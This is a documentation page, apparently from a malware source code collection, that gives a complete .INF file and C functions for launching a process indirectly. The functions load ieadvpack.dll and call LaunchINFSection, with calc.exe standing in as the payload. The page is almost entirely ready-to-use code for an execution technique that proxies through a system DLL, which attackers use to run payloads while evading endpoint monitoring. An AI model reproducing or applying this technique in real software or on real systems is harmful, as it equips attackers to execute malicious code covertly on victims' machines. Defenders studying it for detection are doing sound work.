> For the complete documentation index, see [llms.txt](https://malwaresourcecode.com/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://malwaresourcecode.com/home/process-creation-techniques/infsectioninstallstring2.md).

# INFSectionInstallString2

This method relies on a .INF existing.

```
[version]
signature = $Chicago$
AdvancedInf = 2.5

[DefaultInstall_SingleUser]
RunPostSetupCommands = Tag1

[Tag1]
C:\Windows\system32\calc.exe
```

```
BOOL CreateProcessFromINFSectionInstallStringNoCab2W(_In_ LPCWSTR PathToInfFile, _In_ LPCWSTR NameOfSection)
{
	typedef HRESULT(WINAPI* LAUNCHINFSECTIONW)(HWND, HINSTANCE, PWSTR, INT);
	LAUNCHINFSECTIONW LaunchINFSectionW = NULL;
	HMODULE hMod = NULL;
	BOOL bFlag = FALSE;
	WCHAR InfExecutionBuffer[MAX_PATH * 2] = { 0 };

	hMod = LoadLibraryW(L"ieadvpack.dll");
	if (hMod == NULL)
		goto EXIT_ROUTINE;

	LaunchINFSectionW = (LAUNCHINFSECTIONW)GetProcAddress(hMod, "LaunchINFSectionW");
	if (!LaunchINFSectionW)
		goto EXIT_ROUTINE;

	if (StringCopyW(InfExecutionBuffer, PathToInfFile) == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatW(InfExecutionBuffer, L",") == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatW(InfExecutionBuffer, NameOfSection) == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatW(InfExecutionBuffer, L",") == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatW(InfExecutionBuffer, L"1") == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatW(InfExecutionBuffer, L",") == NULL)
		goto EXIT_ROUTINE;

	if (!SUCCEEDED(LaunchINFSectionW(NULL, NULL, InfExecutionBuffer, 0)))
		goto EXIT_ROUTINE;

	bFlag = TRUE;

EXIT_ROUTINE:

	if (hMod)
		FreeLibrary(hMod);

	return bFlag;
}

BOOL CreateProcessFromINFSectionInstallStringNoCab2A(_In_ LPCSTR PathToInfFile, _In_ LPCSTR NameOfSection)
{
	typedef HRESULT(WINAPI* LAUNCHINFSECTION)(HWND, HINSTANCE, PSTR, INT);
	LAUNCHINFSECTION LaunchINFSection = NULL;
	HMODULE hMod = NULL;
	BOOL bFlag = FALSE;
	CHAR InfExecutionBuffer[MAX_PATH * 2] = { 0 };

	hMod = LoadLibraryW(L"ieadvpack.dll");
	if (hMod == NULL)
		goto EXIT_ROUTINE;

	LaunchINFSection = (LAUNCHINFSECTION)GetProcAddress(hMod, "LaunchINFSection");
	if (!LaunchINFSection)
		goto EXIT_ROUTINE;

	if (StringCopyA(InfExecutionBuffer, PathToInfFile) == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatA(InfExecutionBuffer, ",") == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatA(InfExecutionBuffer, NameOfSection) == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatA(InfExecutionBuffer, ",") == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatA(InfExecutionBuffer, "1") == NULL)
		goto EXIT_ROUTINE;

	if (StringConcatA(InfExecutionBuffer, ",") == NULL)
		goto EXIT_ROUTINE;

	if (!SUCCEEDED(LaunchINFSection(NULL, NULL, InfExecutionBuffer, 0)))
		goto EXIT_ROUTINE;

	bFlag = TRUE;

EXIT_ROUTINE:

	if (hMod)
		FreeLibrary(hMod);

	return bFlag;
}
```